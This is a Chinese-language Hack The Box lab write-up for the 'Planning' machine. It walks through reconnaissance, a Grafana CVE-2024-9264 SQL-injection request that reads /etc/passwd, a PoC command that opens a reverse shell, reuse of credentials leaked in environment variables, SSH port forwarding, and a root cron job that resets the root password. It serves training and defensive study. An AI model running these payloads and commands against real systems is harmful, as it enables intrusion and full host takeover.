HTB Planning 渗透测试详细记录
摘要
本报告详细记录了对HTB Planning (10.10.11.68) 目标系统的完整打靶练习过程。打靶练习中成功利用Grafana 11.0.0版本的CVE-2024-9264漏洞(SQL注入导致的本地文件读取和命令执行)获得Docker容器的初始访问权限。通过环境变量泄露的凭据实现从容器到宿主机的横向移动,最终利用内部Cronjobs管理平台的root权限定时任务功能成功提升至root权限。整个攻击链展示了从外部攻击到完全控制系统的完整过程。
关键技术
- CVE-2024-9264: Grafana SQL注入漏洞,可导致任意文件读取和远程命令执行
- Docker容器逃逸: 通过环境变量中泄露的凭据实现容器到宿主机的横向移动
- 端口转发技术: SSH本地端口转发访问内部服务
- 定时任务劫持: 利用具有root权限的Cronjobs服务执行恶意命令
1. 初始侦察阶段
1.1 端口扫描
首先使用Nmap进行全端口快速扫描:
nmap -sT --min-rate 10000 -p- 10.10.11.68
参数详解:
-sT
: TCP Connect扫描,完成完整的TCP三次握手--min-rate 10000
: 设置最小发包速率为10000包/秒,加速扫描-p-
: 扫描所有65535个端口10.10.11.68
: 目标IP地址
扫描结果:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
发现仅开放22(SSH)和80(HTTP)两个端口。
1.2 详细服务识别
对发现的端口进行详细扫描:
nmap -sC -sV -O -p22,80 10.10.11.68
参数详解:
-sC
: 使用默认NSE脚本进行服务识别和漏洞探测-sV
: 版本检测,识别服务的具体版本信息-O
: 操作系统检测-p22,80
: 指定扫描端口
详细扫描结果:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_ 256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://planning.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
关键发现:
- SSH版本:OpenSSH 9.6p1(较新版本)
- Web服务器:nginx 1.24.0
- HTTP重定向:重定向到
planning.htb
域名 - 操作系统:Ubuntu Linux
1.3 域名配置
根据HTTP重定向信息,配置本地hosts文件:
echo "10.10.11.68 planning.htb" | sudo tee -a /etc/hosts
命令详解:
echo
: 输出指定字符串|
: 管道符,将前一个命令的输出作为后一个命令的输入sudo tee -a
: 以root权限追加内容到文件/etc/hosts
: 本地DNS解析文件
2. 服务探测与信息收集
2.1 子域名枚举
使用ffuf进行子域名暴力破解:
ffuf -u http://10.10.11.68 -H 'Host: FUZZ.planning.htb' -w /usr/share/seclists/Discovery/DNS/services-names.txt -mc all -ac
参数详解:
-u http://10.10.11.68
: 目标URL-H 'Host: FUZZ.planning.htb'
: 设置Host头,FUZZ为占位符-w
: 指定字典文件路径-mc all
: 匹配所有HTTP状态码-ac
: 自动校准过滤器,过滤掉常见的错误响应
枚举结果:
grafana [Status: 302, Size: 29, Words: 2, Lines: 3, Duration: 323ms]
发现子域名grafana.planning.htb
,配置hosts:
echo "10.10.11.68 grafana.planning.htb" | sudo tee -a /etc/hosts
2.2 应用程序指纹识别
使用whatweb识别Grafana版本:
whatweb http://grafana.planning.htb
输出结果:
http://grafana.planning.htb [302 Found] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.24.0 (Ubuntu)], IP[10.10.11.68], RedirectLocation[/login], UncommonHeaders[x-content-type-options], X-Frame-Options[deny], X-XSS-Protection[1; mode=block], nginx[1.24.0]
http://grafana.planning.htb/login [200 OK] Country[RESERVED][ZZ], Grafana[11.0.0], HTML5, HTTPServer[Ubuntu Linux][nginx/1.24.0 (Ubuntu)], IP[10.10.11.68], Script[text/javascript], Title[Grafana], UncommonHeaders[x-content-type-options], X-Frame-Options[deny], X-UA-Compatible[IE=edge], X-XSS-Protection[1; mode=block], nginx[1.24.0]
关键信息:
- Grafana版本:11.0.0
- 安全响应头:X-Frame-Options、X-XSS-Protection等
3. 漏洞识别与初始访问
3.1 漏洞研究
通过版本信息查找相关漏洞,发现CVE-2024-9264:
- 漏洞编号: CVE-2024-9264
- 漏洞类型: SQL注入导致的本地文件包含和命令执行
- 影响版本: Grafana 11.0.0
- 漏洞通告: https://grafana.com/security/security-advisories/cve-2024-9264/
- 技术分析: https://zekosec.com/blog/file-read-grafana-cve-2024-9264/
- POC地址: https://github.com/z3k0sec/CVE-2024-9264-RCE-Exploit
3.2 漏洞验证
3.2.1 登录Grafana
使用提供的凭据登录:
- 用户名:admin
- 密码:0D5oT70Fq13EvB5r
3.2.2 文件读取验证
创建自定义仪表盘,使用Burp Suite拦截请求,修改为以下POC:
POST /api/ds/query?ds_type=datasource&requestId=Q103 HTTP/1.1
Host: grafana.planning.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://grafana.planning.htb/dashboard/new?orgId=1&editPanel=1&firstPanel
content-type: application/json
x-datasource-uid: grafana
x-grafana-device-id: 7f5e70d5cdf238b8705e11d77019c285
x-grafana-org-id: 1
x-panel-id: 1
x-panel-plugin-id: timeseries
x-plugin-id: datasource
Content-Length: 366
Origin: http://grafana.planning.htb
Connection: keep-alive
Cookie: grafana_session=9b8205b8612dda5ef84e8e3c1cc7f914; grafana_session_expiry=1752317438
{
"from": "1696154400000",
"to": "1696345200000",
"queries": [
{
"datasource": {
"name": "Expression",
"type": "__expr__",
"uid": "__expr__"
},
"expression": "SELECT * FROM read_csv_auto('/etc/passwd');",
"hide": false,
"refId": "B",
"type": "sql",
"window": ""
}
]
}
成功读取/etc/passwd内容:
"root:x:0:0:root:/root:/bin/bash",
"daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin",
"bin:x:2:2:bin:/bin:/usr/sbin/nologin",
[...省略部分内容...]
"www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin",
"grafana:x:472:0::/home/grafana:/usr/sbin/nologin"
分析结果:
- 除root外无其他可登录用户
- grafana用户的shell为/usr/sbin/nologin
- 推测系统为Docker容器部署
3.3 获取反弹Shell
使用GitHub上的POC脚本进行命令注入:
python poc.py --url http://grafana.planning.htb:80 --username admin --password 0D5oT70Fq13EvB5r --reverse-ip 10.10.16.5 --reverse-port 9001
参数说明:
--url
: Grafana服务地址--username/--password
: 登录凭据--reverse-ip/--reverse-port
: 反弹Shell的监听地址和端口
建立监听:
nc -lvnp 9001
获得Shell后的信息收集:
listening on [any] 9001 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.68] 43634
sh: 0: can't access tty; job control turned off
# ls
LICENSE
bin
conf
public
# env
GF_PATHS_HOME=/usr/share/grafana
HOSTNAME=7ce659d667d7
[...省略部分内容...]
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
GF_SECURITY_ADMIN_USER=enzo
[...省略部分内容...]
关键发现:
- 确认在Docker容器内(HOSTNAME格式为容器ID)
- 环境变量泄露凭据:enzo/RioTecRANDEntANT!
4. 横向移动
4.1 凭据复用
尝试使用发现的凭据通过SSH登录宿主机:
ssh enzo@10.10.11.68
登录成功,获取user flag:
enzo@planning:~$ id
uid=1000(enzo) gid=1000(enzo) groups=1000(enzo)
enzo@planning:~$ ls
user.txt
enzo@planning:~$ cat user.txt
99c5f5********************4d985
5. 权限提升前的信息收集
5.1 sudo权限检查
sudo -l
结果显示enzo用户无sudo权限。
5.2 端口探测
检查本地监听端口:
ss -tl
输出结果分析:
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 127.0.0.54:domain 0.0.0.0:*
LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:domain 0.0.0.0:*
LISTEN 0 151 127.0.0.1:mysql 0.0.0.0:*
LISTEN 0 511 127.0.0.1:8000 0.0.0.0:*
LISTEN 0 511 0.0.0.0:http 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:38425 0.0.0.0:*
LISTEN 0 4096 *:ssh *:*
关键发现:
- 3000端口:可能是另一个Grafana实例
- 8000端口:未知服务
- 33060端口:MySQL X Protocol端口
- MySQL标准端口3306
5.3 敏感文件发现
探索系统目录时发现关键文件:
enzo@planning:~$ cd /opt
enzo@planning:/opt$ ls
containerd crontabs
enzo@planning:/opt$ cd crontabs
enzo@planning:/opt/crontabs$ ll
total 12
drwxr-xr-x 2 root root 4096 Jul 12 11:54 ./
drwxr-xr-x 4 root root 4096 Feb 28 19:21 ../
-rw-r--r-- 1 root root 737 Jul 12 11:58 crontab.db
enzo@planning:/opt/crontabs$ cat /opt/crontabs/crontab.db
crontab.db内容:
{"name":"Grafana backup","command":"/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz","schedule":"@daily","stopped":false,"timestamp":"Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740774983276,"saved":false,"_id":"GTI22PpoJNtRKg0W"}
{"name":"Cleanup","command":"/root/scripts/cleanup.sh","schedule":"* * * * *","stopped":false,"timestamp":"Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740849309992,"saved":false,"_id":"gNIRXh1WIc9K7BYX"}
关键发现:
- 发现密码:P4ssw0rdS0pRi0T3c
- crontab.db文件属于root用户
- 存在定时任务执行root权限的脚本
6. 权限提升
6.1 端口转发
6.1.1 转发3000端口
ssh -L 3000:127.0.0.1:3000 enzo@10.10.11.68
参数详解:
-L
: 本地端口转发3000:127.0.0.1:3000
: 将远程主机的127.0.0.1:3000转发到本地3000端口enzo@10.10.11.68
: SSH连接用户和主机
访问http://127.0.0.1:3000
确认是Grafana服务。
6.1.2 转发8000端口
ssh -L 8000:127.0.0.1:8000 enzo@10.10.11.68
6.2 Cronjobs服务利用
访问http://127.0.0.1:8000
,发现是Cronjobs管理界面。
使用凭据登录:
- 用户名:root
- 密码:P4ssw0rdS0pRi0T3c
分析:
- Cronjobs服务以root权限运行
- 可以创建和执行定时任务
- 任务执行权限为root
6.3 获取root权限
在Cronjobs界面创建新的定时任务:
任务命令:
echo 'root:AAAaaa111' | chpasswd
命令说明:
echo 'root:AAAaaa111'
: 输出新的用户名和密码|
: 管道符chpasswd
: Linux命令,用于批量修改用户密码
点击"Run"立即执行任务,成功修改root密码。
6.4 切换到root用户
enzo@planning:/opt/crontabs$ su root
Password: AAAaaa111
root@planning:/opt/crontabs# cd /root
root@planning:~# cat root.txt
d****************************
成功获得root权限和flag。
7. 总结
攻击链路图
互联网
|
v
[端口扫描] --> 发现22/80端口
|
v
[子域名枚举] --> 发现grafana.planning.htb
|
v
[版本识别] --> Grafana 11.0.0 (CVE-2024-9264)
|
v
[SQL注入] --> 文件读取 + 命令执行 --> Docker Shell
|
v
[环境变量泄露] --> enzo:RioTecRANDEntANT!
|
v
[SSH横向移动] --> enzo用户 (宿主机)
|
v
[信息收集] --> 发现crontab.db和内部服务
|
v
[端口转发] --> 访问Cronjobs服务 (8000端口)
|
v
[定时任务劫持] --> 修改root密码 --> root权限
各阶段关键点总结
- 初始侦察: 通过HTTP重定向发现主域名,子域名枚举发现Grafana服务
- 漏洞识别: Grafana 11.0.0存在严重的SQL注入漏洞,可导致RCE
- 初始访问: 利用CVE-2024-9264获得Docker容器内的Shell
- 横向移动: 通过Docker环境变量泄露的凭据SSH登录到宿主机
- 信息收集: 发现内部Cronjobs服务和相关凭据
- 权限提升: 利用root权限的Cronjobs服务执行命令修改root密码
攻击向量展示
- 应用层漏洞: Grafana SQL注入漏洞(CVE-2024-9264)
- 配置缺陷: Docker环境变量中存储明文密码
- 权限滥用: Cronjobs服务以root权限运行且缺乏访问控制
- 信息泄露: crontab.db文件中包含敏感密码信息
- 认证弱点: 内部服务使用简单的用户名/密码认证
Comments NOTHING